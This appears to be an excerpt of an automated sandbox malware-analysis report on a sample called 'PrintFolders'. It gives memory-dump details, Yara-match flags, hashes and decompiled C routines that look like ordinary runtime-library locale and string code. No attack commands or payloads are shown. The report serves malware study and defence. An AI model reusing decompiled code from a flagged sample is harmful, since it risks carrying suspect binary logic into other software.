                                                          0x1000a6a9
                                                          0x1000a84f
                                                          0x1000a850
                                                          0x1000a857
                                                          0x00000000
                                                          0x1000a859
                                                          0x1000a688
                                                          0x1000a688
                                                          0x1000a68e
                                                          0x00000000
                                                          0x1000a690
                                                          0x1000a695
                                                          0x1000a697
                                                          0x00000000
                                                          0x1000a69d
                                                          0x1000a69d
                                                          0x00000000
                                                          0x1000a69d
                                                          0x1000a697
                                                          0x1000a68e
                                                          0x1000a686
                                                          0x1000a681
                                                          0x1000a668
                                                          0x1000a63a
                                                          0x1000a63a
                                                          0x1000a63f
                                                          0x1000a645
                                                          0x1000a85a
                                                          0x1000a85c
                                                          0x1000a85c
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$___from_strstr_to_strchr
                                                          • String ID:
                                                          • API String ID: 3409252457-0
                                                          • Opcode ID: a0c36db041c6394aca0add2f8b723cd2806df39da9a9d26740de4ca1c8323699
                                                          • Instruction ID: 381467da00f9b5958bd928ec2253f49b5b741610b1117f8a7471ff7dbb655abb
                                                          • Opcode Fuzzy Hash: a0c36db041c6394aca0add2f8b723cd2806df39da9a9d26740de4ca1c8323699
                                                          • Instruction Fuzzy Hash: 5F51F475904212AFFB10DF788C81A5E7BF4FF063D0B11826DE9149718AEB72DA81CB50
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0040EA1E
                                                          • __alloca_probe_16.LIBCMT ref: 0040EA4A
                                                          • MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0040EA89
                                                          • LCMapStringEx.KERNEL32 ref: 0040EAA6
                                                          • LCMapStringEx.KERNEL32 ref: 0040EAE5
                                                          • __alloca_probe_16.LIBCMT ref: 0040EB02
                                                          • LCMapStringEx.KERNEL32 ref: 0040EB44
                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0040EB67
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ByteCharMultiStringWide$__alloca_probe_16
                                                          • String ID:
                                                          • API String ID: 2040435927-0
                                                          • Opcode ID: dbe60554392ac3eae939534d336e4110778e17a30d238082d0c9db6a49dad1a4
                                                          • Instruction ID: bae1dc4957788a08111944ff1eaf9dbc1280390a613fb653b58dfa13e10e978f
                                                          • Opcode Fuzzy Hash: dbe60554392ac3eae939534d336e4110778e17a30d238082d0c9db6a49dad1a4
                                                          • Instruction Fuzzy Hash: 6351A172600205ABEF209F62CC45FAB7BB9EB44750F15483AFD05A62D0D778ED21CB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E0041BEFC(void* __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				short _v270;
                                                          				short _v272;
                                                          				char _v528;
                                                          				char _v700;
                                                          				signed int _v704;
                                                          				short _v706;
                                                          				signed int _v708;
                                                          				signed int _v712;
                                                          				signed int _v716;
                                                          				intOrPtr _v720;
                                                          				signed int _v724;
                                                          				intOrPtr _v728;
                                                          				signed int* _v732;
                                                          				signed int _v736;
                                                          				signed int _v740;
                                                          				signed int _v744;
                                                          				intOrPtr _v772;
                                                          				signed int _v784;
                                                          				void* __ebp;
                                                          				signed int _t156;
                                                          				void* _t163;
                                                          				signed int _t164;
                                                          				signed int _t166;
                                                          				signed int _t167;
                                                          				intOrPtr _t168;
                                                          				signed int _t171;
                                                          				signed int _t173;
                                                          				signed int _t174;
                                                          				signed int _t177;
                                                          				signed int _t179;
                                                          				signed int _t182;
                                                          				signed int _t183;
                                                          				signed int _t185;
                                                          				signed int _t186;
                                                          				signed int _t202;
                                                          				signed int _t204;
                                                          				signed int _t206;
                                                          				signed int _t210;
                                                          				signed int _t212;
                                                          				void* _t213;
                                                          				signed int _t220;
                                                          				intOrPtr* _t221;
                                                          				char* _t228;
                                                          				intOrPtr _t232;
                                                          				intOrPtr* _t233;
                                                          				signed int _t235;
                                                          				signed int _t240;
                                                          				signed int _t241;
                                                          				intOrPtr _t246;
                                                          				void* _t247;
                                                          				void* _t250;
                                                          				signed int _t252;
                                                          				signed int _t254;
                                                          				signed int _t257;
                                                          				signed int* _t258;
                                                          				short _t259;
                                                          				signed int _t260;
                                                          				void* _t262;
                                                          				void* _t263;
                                                          				void* _t264;
                                                          
                                                          				_t244 = __edx;
                                                          				_t156 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t156 ^ _t260;
                                                          				_push(__ebx);
                                                          				_t212 = _a8;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_t246 = _a4;
                                                          				_v736 = _t212;
                                                          				_v732 = E0041CB63(__ecx, __edx) + 0x278;
                                                          				_t163 = E0041B5E7(_t212, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v716);
                                                          				_t263 = _t262 + 0x18;
                                                          				if(_t163 == 0) {
                                                          					L39:
                                                          					_t164 = 0;
                                                          					__eflags = 0;
                                                          					goto L40;
                                                          				} else {
                                                          					_t10 = _t212 + 2; // 0x2
                                                          					_t252 = _t10 << 4;
                                                          					_t166 =  &_v272;
                                                          					_v712 = _t252;
                                                          					_t244 =  *(_t252 + _t246);
                                                          					_t220 = _t244;
                                                          					while(1) {
                                                          						_v704 = _v704 & 0x00000000;
                                                          						_t254 = _v712;
                                                          						if( *_t166 !=  *_t220) {
                                                          							break;
                                                          						}
                                                          						if( *_t166 == 0) {
                                                          							L6:
                                                          							_t167 = _v704;
                                                          						} else {
                                                          							_t259 =  *((intOrPtr*)(_t166 + 2));
                                                          							_v706 = _t259;
                                                          							_t254 = _v712;
                                                          							if(_t259 !=  *((intOrPtr*)(_t220 + 2))) {
                                                          								break;
                                                          							} else {
                                                          								_t166 = _t166 + 4;
                                                          								_t220 = _t220 + 4;
                                                          								if(_v706 != 0) {
                                                          									continue;
                                                          								} else {
                                                          									goto L6;
                                                          								}
                                                          							}
                                                          						}
                                                          						L8:
                                                          						if(_t167 != 0) {
                                                          							_t221 =  &_v272;
                                                          							_t244 = _t221 + 2;
                                                          							do {
                                                          								_t168 =  *_t221;
                                                          								_t221 = _t221 + 2;
                                                          								__eflags = _t168 - _v704;
                                                          							} while (_t168 != _v704);
                                                          							_v708 = (_t221 - _t244 >> 1) + 1;
                                                          							_t171 = E0041ED2F(4 + ((_t221 - _t244 >> 1) + 1) * 2);
                                                          							_v724 = _t171;
                                                          							__eflags = _t171;
                                                          							if(_t171 == 0) {
                                                          								goto L39;
                                                          							} else {
                                                          								_v720 =  *((intOrPtr*)(_t254 + _t246));
                                                          								_v740 =  *(_t246 + 0xa0 + _t212 * 4);
                                                          								_v744 =  *(_t246 + 8);
                                                          								_t228 =  &_v272;
                                                          								_v728 = _t171 + 4;
                                                          								_t173 = E00421491(_t171 + 4, _v708, _t228);
                                                          								_t264 = _t263 + 0xc;
                                                          								__eflags = _t173;
                                                          								if(_t173 != 0) {
                                                          									_t174 = _v704;
                                                          									_push(_t174);
                                                          									_push(_t174);
                                                          									_push(_t174);
                                                          									_push(_t174);
                                                          									_push(_t174);
                                                          									E00413544();
                                                          									asm("int3");
                                                          									_push(_t260);
                                                          									_push(_t228);
                                                          									_v784 = _v784 & 0x00000000;
                                                          									_t177 = E0041E821(_v772, 0x20001004,  &_v784, 2);
                                                          									__eflags = _t177;
                                                          									if(_t177 == 0) {
                                                          										L49:
                                                          										return 0xfde9;
                                                          									}
                                                          									_t179 = _v12;
                                                          									__eflags = _t179;
                                                          									if(_t179 == 0) {
                                                          										goto L49;
                                                          									}
                                                          									return _t179;
                                                          								} else {
                                                          									__eflags = _v272 - 0x43;
                                                          									 *((intOrPtr*)(_t254 + _t246)) = _v728;
                                                          									if(_v272 != 0x43) {
                                                          										L17:
                                                          										_t182 = E0041B304(_t212, _t246,  &_v700);
                                                          										_t244 = _v704;
                                                          									} else {
                                                          										__eflags = _v270;
                                                          										if(_v270 != 0) {
                                                          											goto L17;
                                                          										} else {
                                                          											_t244 = _v704;
                                                          											_t182 = _t244;
                                                          										}
                                                          									}
                                                          									 *(_t246 + 0xa0 + _t212 * 4) = _t182;
                                                          									__eflags = _t212 - 2;
                                                          									if(_t212 != 2) {
                                                          										__eflags = _t212 - 1;
                                                          										if(_t212 != 1) {
                                                          											__eflags = _t212 - 5;
                                                          											if(_t212 == 5) {
                                                          												 *((intOrPtr*)(_t246 + 0x14)) = _v716;
                                                          											}
                                                          										} else {
                                                          											 *((intOrPtr*)(_t246 + 0x10)) = _v716;
                                                          										}
                                                          									} else {
                                                          										_t258 = _v732;
                                                          										 *(_t246 + 8) = _v716;
                                                          										_v708 = _t258[8];
                                                          										_t240 = _t258[9];
                                                          										_v716 = _t240;
                                                          										while(1) {
                                                          											__eflags =  *(_t246 + 8) -  *(_t258 + _t244 * 8);
                                                          											if( *(_t246 + 8) ==  *(_t258 + _t244 * 8)) {
                                                          												break;
                                                          											}
                                                          											_t210 =  *(_t258 + _t244 * 8);
                                                          											_t240 =  *(_t258 + 4 + _t244 * 8);
                                                          											 *(_t258 + _t244 * 8) = _v708;
                                                          											 *(_t258 + 4 + _t244 * 8) = _v716;
                                                          											_t244 = _t244 + 1;
                                                          											_t212 = _v736;
                                                          											_v708 = _t210;
                                                          											_v716 = _t240;
                                                          											__eflags = _t244 - 5;
                                                          											if(_t244 < 5) {
                                                          												continue;
                                                          											} else {
                                                          											}
                                                          											L25:
                                                          											__eflags = _t244 - 5;
                                                          											if(__eflags == 0) {
                                                          												_t202 = E00421875(__eflags, _v704, 1, 0x431520, 0x7f,  &_v528,  *(_t246 + 8), 1);
                                                          												_t264 = _t264 + 0x1c;
                                                          												__eflags = _t202;
                                                          												if(_t202 == 0) {
                                                          													_t241 = _v704;
                                                          												} else {
                                                          													_t204 = _v704;
                                                          													do {
                                                          														 *(_t260 + _t204 * 2 - 0x20c) =  *(_t260 + _t204 * 2 - 0x20c) & 0x000001ff;
                                                          														_t204 = _t204 + 1;
                                                          														__eflags = _t204 - 0x7f;
                                                          													} while (_t204 < 0x7f);
                                                          													_t206 = E00410C5A( &_v528,  *0x43d1c4, 0xfe);
                                                          													_t264 = _t264 + 0xc;
                                                          													__eflags = _t206;
                                                          													_t241 = 0 | _t206 == 0x00000000;
                                                          												}
                                                          												_t258[1] = _t241;
                                                          												 *_t258 =  *(_t246 + 8);
                                                          											}
                                                          											 *(_t246 + 0x18) = _t258[1];
                                                          											goto L37;
                                                          										}
                                                          										__eflags = _t244;
                                                          										if(_t244 != 0) {
                                                          											 *_t258 =  *(_t258 + _t244 * 8);
                                                          											_t258[1] =  *(_t258 + 4 + _t244 * 8);
                                                          											 *(_t258 + _t244 * 8) = _v708;
                                                          											 *(_t258 + 4 + _t244 * 8) = _t240;
                                                          										}
                                                          										goto L25;
                                                          									}
                                                          									L37:
                                                          									_t183 = _t212 * 0xc;
                                                          									_t111 = _t183 + 0x4315a8; // 0x40b230
                                                          									 *0x42e234(_t246);
                                                          									_t185 =  *((intOrPtr*)( *_t111))();
                                                          									_t232 = _v720;
                                                          									__eflags = _t185;
                                                          									if(_t185 == 0) {
                                                          										__eflags = _t232 - 0x43d290;
                                                          										if(_t232 == 0x43d290) {
                                                          											L44:
                                                          											_t186 = _v712;
                                                          										} else {
                                                          											_t257 = _t212 + _t212;
                                                          											__eflags = _t257;
                                                          											asm("lock xadd [eax], ecx");
                                                          											if(_t257 != 0) {
                                                          												goto L44;
                                                          											} else {
                                                          												E0041E2B8( *((intOrPtr*)(_t246 + 0x28 + _t257 * 8)));
                                                          												E0041E2B8( *((intOrPtr*)(_t246 + 0x24 + _t257 * 8)));
                                                          												E0041E2B8( *(_t246 + 0xa0 + _t212 * 4));
                                                          												_t186 = _v712;
                                                          												_t235 = _v704;
                                                          												 *(_t186 + _t246) = _t235;
                                                          												 *(_t246 + 0xa0 + _t212 * 4) = _t235;
                                                          											}
                                                          										}
                                                          										_t233 = _v724;
                                                          										 *_t233 = 1;
                                                          										_t164 =  *(_t186 + _t246);
                                                          										 *((intOrPtr*)(_t246 + 0x28 + (_t212 + _t212) * 8)) = _t233;
                                                          									} else {
                                                          										 *((intOrPtr*)(_v712 + _t246)) = _t232;
                                                          										E0041E2B8( *(_t246 + 0xa0 + _t212 * 4));
                                                          										 *(_t246 + 0xa0 + _t212 * 4) = _v740;
                                                          										E0041E2B8(_v724);
                                                          										 *(_t246 + 8) = _v744;
                                                          										goto L39;
                                                          									}
                                                          									goto L40;
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t164 = _t244;
                                                          							L40:
                                                          							_pop(_t247);
                                                          							_pop(_t250);
                                                          							_pop(_t213);
                                                          							return E0040EBBF(_t164, _t213, _v8 ^ _t260, _t244, _t247, _t250);
                                                          						}
                                                          						goto L51;
                                                          					}
                                                          					asm("sbb eax, eax");
                                                          					_t167 = _t166 | 0x00000001;
                                                          					__eflags = _t167;
                                                          					goto L8;
                                                          				}
                                                          				L51:
                                                          			}

































































                                                          0x0041befc
                                                          0x0041bf07
                                                          0x0041bf0e
                                                          0x0041bf11
                                                          0x0041bf12
                                                          0x0041bf15
                                                          0x0041bf19
                                                          0x0041bf1a
                                                          0x0041bf1d
                                                          0x0041bf2d
                                                          0x0041bf50
                                                          0x0041bf55
                                                          0x0041bf5a
                                                          0x0041c210
                                                          0x0041c210
                                                          0x0041c210
                                                          0x00000000
                                                          0x0041bf60
                                                          0x0041bf60
                                                          0x0041bf63
                                                          0x0041bf66
                                                          0x0041bf6c
                                                          0x0041bf72
                                                          0x0041bf75
                                                          0x0041bf77
                                                          0x0041bf7a
                                                          0x0041bf84
                                                          0x0041bf8a
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bf90
                                                          0x0041bfb9
                                                          0x0041bfb9
                                                          0x0041bf92
                                                          0x0041bf92
                                                          0x0041bf9a
                                                          0x0041bfa1
                                                          0x0041bfa7
                                                          0x00000000
                                                          0x0041bfa9
                                                          0x0041bfa9
                                                          0x0041bfac
                                                          0x0041bfb7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bfb7
                                                          0x0041bfa7
                                                          0x0041bfc6
                                                          0x0041bfc8
                                                          0x0041bfd1
                                                          0x0041bfd7
                                                          0x0041bfda
                                                          0x0041bfda
                                                          0x0041bfdd
                                                          0x0041bfe0
                                                          0x0041bfe0
                                                          0x0041bff0
                                                          0x0041bffe
                                                          0x0041c003
                                                          0x0041c00a
                                                          0x0041c00c
                                                          0x00000000
                                                          0x0041c012
                                                          0x0041c018
                                                          0x0041c025
                                                          0x0041c02e
                                                          0x0041c034
                                                          0x0041c041
                                                          0x0041c048
                                                          0x0041c04d
                                                          0x0041c050
                                                          0x0041c052
                                                          0x0041c290
                                                          0x0041c296
                                                          0x0041c297
                                                          0x0041c298
                                                          0x0041c299
                                                          0x0041c29a
                                                          0x0041c29b
                                                          0x0041c2a0
                                                          0x0041c2a3
                                                          0x0041c2a6
                                                          0x0041c2a7
                                                          0x0041c2b9
                                                          0x0041c2be
                                                          0x0041c2c0
                                                          0x0041c2c9
                                                          0x00000000
                                                          0x0041c2c9
                                                          0x0041c2c2
                                                          0x0041c2c5
                                                          0x0041c2c7
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c2cf
                                                          0x0041c058
                                                          0x0041c058
                                                          0x0041c066
                                                          0x0041c069
                                                          0x0041c07f
                                                          0x0041c086
                                                          0x0041c08b
                                                          0x0041c06b
                                                          0x0041c06b
                                                          0x0041c073
                                                          0x00000000
                                                          0x0041c075
                                                          0x0041c075
                                                          0x0041c07b
                                                          0x0041c07b
                                                          0x0041c073
                                                          0x0041c092
                                                          0x0041c099
                                                          0x0041c09c
                                                          0x0041c19a
                                                          0x0041c19d
                                                          0x0041c1aa
                                                          0x0041c1ad
                                                          0x0041c1b5
                                                          0x0041c1b5
                                                          0x0041c19f
                                                          0x0041c1a5
                                                          0x0041c1a5
                                                          0x0041c0a2
                                                          0x0041c0a2
                                                          0x0041c0ae
                                                          0x0041c0b4
                                                          0x0041c0ba
                                                          0x0041c0bd
                                                          0x0041c0c3
                                                          0x0041c0c6
                                                          0x0041c0c9
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0cb
                                                          0x0041c0d4
                                                          0x0041c0d8
                                                          0x0041c0e1
                                                          0x0041c0e5
                                                          0x0041c0e6
                                                          0x0041c0ec
                                                          0x0041c0f2
                                                          0x0041c0f8
                                                          0x0041c0fb
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0fd
                                                          0x0041c11c
                                                          0x0041c11c
                                                          0x0041c11f
                                                          0x0041c13c
                                                          0x0041c141
                                                          0x0041c144
                                                          0x0041c146
                                                          0x0041c184
                                                          0x0041c148
                                                          0x0041c148
                                                          0x0041c14e
                                                          0x0041c153
                                                          0x0041c15b
                                                          0x0041c15c
                                                          0x0041c15c
                                                          0x0041c173
                                                          0x0041c17a
                                                          0x0041c17d
                                                          0x0041c17f
                                                          0x0041c17f
                                                          0x0041c18a
                                                          0x0041c190
                                                          0x0041c190
                                                          0x0041c195
                                                          0x00000000
                                                          0x0041c195
                                                          0x0041c0ff
                                                          0x0041c101
                                                          0x0041c106
                                                          0x0041c10c
                                                          0x0041c115
                                                          0x0041c118
                                                          0x0041c118
                                                          0x00000000
                                                          0x0041c101
                                                          0x0041c1b8
                                                          0x0041c1b8
                                                          0x0041c1bc
                                                          0x0041c1c4
                                                          0x0041c1ca
                                                          0x0041c1cd
                                                          0x0041c1d3
                                                          0x0041c1d5
                                                          0x0041c221
                                                          0x0041c227
                                                          0x0041c273
                                                          0x0041c273
                                                          0x0041c229
                                                          0x0041c22e
                                                          0x0041c22e
                                                          0x0041c234
                                                          0x0041c238
                                                          0x00000000
                                                          0x0041c23a
                                                          0x0041c23e
                                                          0x0041c247
                                                          0x0041c253
                                                          0x0041c258
                                                          0x0041c261
                                                          0x0041c267
                                                          0x0041c26a
                                                          0x0041c26a
                                                          0x0041c238
                                                          0x0041c279
                                                          0x0041c281
                                                          0x0041c287
                                                          0x0041c28a
                                                          0x0041c1d7
                                                          0x0041c1dd
                                                          0x0041c1e7
                                                          0x0041c1f9
                                                          0x0041c200
                                                          0x0041c20d
                                                          0x00000000
                                                          0x0041c20d
                                                          0x00000000
                                                          0x0041c1d5
                                                          0x0041c052
                                                          0x0041bfca
                                                          0x0041bfca
                                                          0x0041c212
                                                          0x0041c215
                                                          0x0041c216
                                                          0x0041c219
                                                          0x0041c220
                                                          0x0041c220
                                                          0x00000000
                                                          0x0041bfc8
                                                          0x0041bfc1
                                                          0x0041bfc3
                                                          0x0041bfc3
                                                          0x00000000
                                                          0x0041bfc3
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0041CB63: GetLastError.KERNEL32(?,?,?,00413661,?,00000000,00405D9E,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000), ref: 0041CB68
                                                            • Part of subcall function 0041CB63: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000,?,00405D9E,?), ref: 0041CC06
                                                          • _free.LIBCMT ref: 0041C1E7
                                                          • _free.LIBCMT ref: 0041C200
                                                          • _free.LIBCMT ref: 0041C23E
                                                          • _free.LIBCMT ref: 0041C247
                                                          • _free.LIBCMT ref: 0041C253
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorLast
                                                          • String ID: C
                                                          • API String ID: 3291180501-1037565863
                                                          • Opcode ID: db53cc3fb368b299e4ebc727ca1c17a56f226d76f8d2124a3b5b37d9cb2993de
                                                          • Instruction ID: ef45604bd07060d4e86bdf097be434cf7ae4fa59a7229b5fd9910e1095f225e5
                                                          • Opcode Fuzzy Hash: db53cc3fb368b299e4ebc727ca1c17a56f226d76f8d2124a3b5b37d9cb2993de
                                                          • Instruction Fuzzy Hash: 19B13775A412199BDB24DF59CC84AEAB7B4FB48304F5045AEE809A7391D734AED0CF88
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E00421202(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                                                          				signed int _v8;
                                                          				intOrPtr _v12;
                                                          				void* _v24;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t41;
                                                          				signed int _t49;
                                                          				void* _t51;
                                                          				signed int _t55;
                                                          				intOrPtr _t63;
                                                          				intOrPtr _t69;
                                                          				void* _t71;
                                                          				intOrPtr* _t72;
                                                          				intOrPtr _t86;
                                                          				void* _t89;
                                                          				intOrPtr* _t91;
                                                          				intOrPtr _t93;
                                                          				void* _t94;
                                                          				void* _t95;
                                                          				signed int _t96;
                                                          				void* _t97;
                                                          				intOrPtr* _t98;
                                                          				intOrPtr* _t100;
                                                          				void* _t103;
                                                          
                                                          				_push(__ecx);
                                                          				_push(__ecx);
                                                          				_t41 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t41 ^ _t96;
                                                          				_t93 = _a20;
                                                          				if(_t93 > 0) {
                                                          					_t69 = E00419C8D(_a16, _t93);
                                                          					_t103 = _t69 - _t93;
                                                          					_t4 = _t69 + 1; // 0x1
                                                          					_t93 = _t4;
                                                          					if(_t103 >= 0) {
                                                          						_t93 = _t69;
                                                          					}
                                                          				}
                                                          				_t88 = _a32;
                                                          				if(_a32 == 0) {
                                                          					_t88 =  *((intOrPtr*)( *_a4 + 8));
                                                          					_a32 =  *((intOrPtr*)( *_a4 + 8));
                                                          				}
                                                          				_t86 = E0041FE48(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
                                                          				_t98 = _t97 + 0x18;
                                                          				_v12 = _t86;
                                                          				if(_t86 == 0) {
                                                          					L39:
                                                          					_pop(_t89);
                                                          					_pop(_t94);
                                                          					_pop(_t71);
                                                          					return E0040EBBF(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
                                                          				} else {
                                                          					_t17 = _t86 + _t86 + 8; // 0x8
                                                          					asm("sbb eax, eax");
                                                          					_t49 = _t86 + _t86 & _t17;
                                                          					if(_t49 == 0) {
                                                          						_t72 = 0;
                                                          						L15:
                                                          						if(_t72 == 0) {
                                                          							L37:
                                                          							_t95 = 0;
                                                          							L38:
                                                          							E0040EBA1(_t72);
                                                          							_t46 = _t95;
                                                          							goto L39;
                                                          						}
                                                          						_t51 = E0041FE48(_t88, 1, _a16, _t93, _t72, _t86);
                                                          						_t100 = _t98 + 0x18;
                                                          						if(_t51 == 0) {
                                                          							goto L37;
                                                          						}
                                                          						_t90 = _v12;
                                                          						_t95 = E0041E95E(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
                                                          						if(_t95 == 0) {
                                                          							goto L37;
                                                          						}
                                                          						_t86 = 0x400;
                                                          						if((_a12 & 0x00000400) == 0) {
                                                          							_t31 = _t95 + _t95 + 8; // 0x8
                                                          							asm("sbb eax, eax");
                                                          							_t55 = _t95 + _t95 & _t31;
                                                          							if(_t55 == 0) {
                                                          								_t91 = 0;
                                                          								L31:
                                                          								if(_t91 == 0 || E0041E95E(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
                                                          									L36:
                                                          									E0040EBA1(_t91);
                                                          									goto L37;
                                                          								} else {
                                                          									_push(0);
                                                          									_push(0);
                                                          									if(_a28 != 0) {
                                                          										_push(_a28);
                                                          										_push(_a24);
                                                          									} else {
                                                          										_push(0);
                                                          										_push(0);
                                                          									}
                                                          									_push(_t95);
                                                          									_push(_t91);
                                                          									_push(0);
                                                          									_push(_a32);
                                                          									_t95 = E00420094();
                                                          									if(_t95 != 0) {
                                                          										E0040EBA1(_t91);
                                                          										goto L38;
                                                          									} else {
                                                          										goto L36;
                                                          									}
                                                          								}
                                                          							}
                                                          							if(_t55 > 0x400) {
                                                          								_t91 = E0041ED2F(_t55);
                                                          								if(_t91 == 0) {
                                                          									goto L36;
                                                          								}
                                                          								 *_t91 = 0xdddd;
                                                          								L29:
                                                          								_t91 = _t91 + 8;
                                                          								goto L31;
                                                          							}
                                                          							E0040F580(_t55);
                                                          							_t91 = _t100;
                                                          							if(_t91 == 0) {
                                                          								goto L36;
                                                          							}
                                                          							 *_t91 = 0xcccc;
                                                          							goto L29;
                                                          						}
                                                          						_t63 = _a28;
                                                          						if(_t63 == 0) {
                                                          							goto L38;
                                                          						}
                                                          						if(_t95 > _t63) {
                                                          							goto L37;
                                                          						}
                                                          						_t95 = E0041E95E(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
                                                          						if(_t95 != 0) {
                                                          							goto L38;
                                                          						}
                                                          						goto L37;
                                                          					}
                                                          					if(_t49 > 0x400) {
                                                          						_t72 = E0041ED2F(_t49);
                                                          						if(_t72 == 0) {
                                                          							L13:
                                                          							_t86 = _v12;
                                                          							goto L15;
                                                          						}
                                                          						 *_t72 = 0xdddd;
                                                          						L12:
                                                          						_t72 = _t72 + 8;
                                                          						goto L13;
                                                          					}
                                                          					E0040F580(_t49);
                                                          					_t72 = _t98;
                                                          					if(_t72 == 0) {
                                                          						goto L13;
                                                          					}
                                                          					 *_t72 = 0xcccc;
                                                          					goto L12;
                                                          				}
                                                          			}




























                                                          0x00421207
                                                          0x00421208
                                                          0x00421209
                                                          0x00421210
                                                          0x00421215
                                                          0x0042121b
                                                          0x00421221
                                                          0x00421227
                                                          0x0042122a
                                                          0x0042122a
                                                          0x0042122d
                                                          0x0042122f
                                                          0x0042122f
                                                          0x0042122d
                                                          0x00421231
                                                          0x00421236
                                                          0x0042123d
                                                          0x00421240
                                                          0x00421240
                                                          0x00421261
                                                          0x00421263
                                                          0x00421266
                                                          0x0042126b
                                                          0x004213c9
                                                          0x004213cc
                                                          0x004213cd
                                                          0x004213ce
                                                          0x004213da
                                                          0x00421271
                                                          0x00421274
                                                          0x00421279
                                                          0x0042127b
                                                          0x0042127d
                                                          0x004212b4
                                                          0x004212b6
                                                          0x004212b8
                                                          0x004213be
                                                          0x004213be
                                                          0x004213c0
                                                          0x004213c1
                                                          0x004213c7
                                                          0x00000000
                                                          0x004213c7
                                                          0x004212c7
                                                          0x004212cc
                                                          0x004212d1
                                                          0x00000000
                                                          0x00000000
                                                          0x004212d7
                                                          0x004212ee
                                                          0x004212f2
                                                          0x00000000
                                                          0x00000000
                                                          0x004212f8
                                                          0x00421300
                                                          0x0042133d
                                                          0x00421342
                                                          0x00421344
                                                          0x00421346
                                                          0x00421377
                                                          0x00421379
                                                          0x0042137b
                                                          0x004213b7
                                                          0x004213b8
                                                          0x00000000
                                                          0x00421398
                                                          0x0042139a
                                                          0x0042139b
                                                          0x0042139f
                                                          0x004213db
                                                          0x004213de
                                                          0x004213a1
                                                          0x004213a1
                                                          0x004213a2
                                                          0x004213a2
                                                          0x004213a3
                                                          0x004213a4
                                                          0x004213a5
                                                          0x004213a6
                                                          0x004213ae
                                                          0x004213b5
                                                          0x004213e4
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004213b5
                                                          0x0042137b
                                                          0x0042134a
                                                          0x00421365
                                                          0x0042136a
                                                          0x00000000
                                                          0x00000000
                                                          0x0042136c
                                                          0x00421372
                                                          0x00421372
                                                          0x00000000
                                                          0x00421372
                                                          0x0042134c
                                                          0x00421351
                                                          0x00421355
                                                          0x00000000
                                                          0x00000000
                                                          0x00421357
                                                          0x00000000
                                                          0x00421357
                                                          0x00421302
                                                          0x00421307
                                                          0x00000000
                                                          0x00000000
                                                          0x0042130f
                                                          0x00000000
                                                          0x00000000
                                                          0x0042132b
                                                          0x0042132f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00421335
                                                          0x00421284
                                                          0x0042129f
                                                          0x004212a4
                                                          0x004212af
                                                          0x004212af
                                                          0x00000000
                                                          0x004212af
                                                          0x004212a6
                                                          0x004212ac
                                                          0x004212ac
                                                          0x00000000
                                                          0x004212ac
                                                          0x00421286
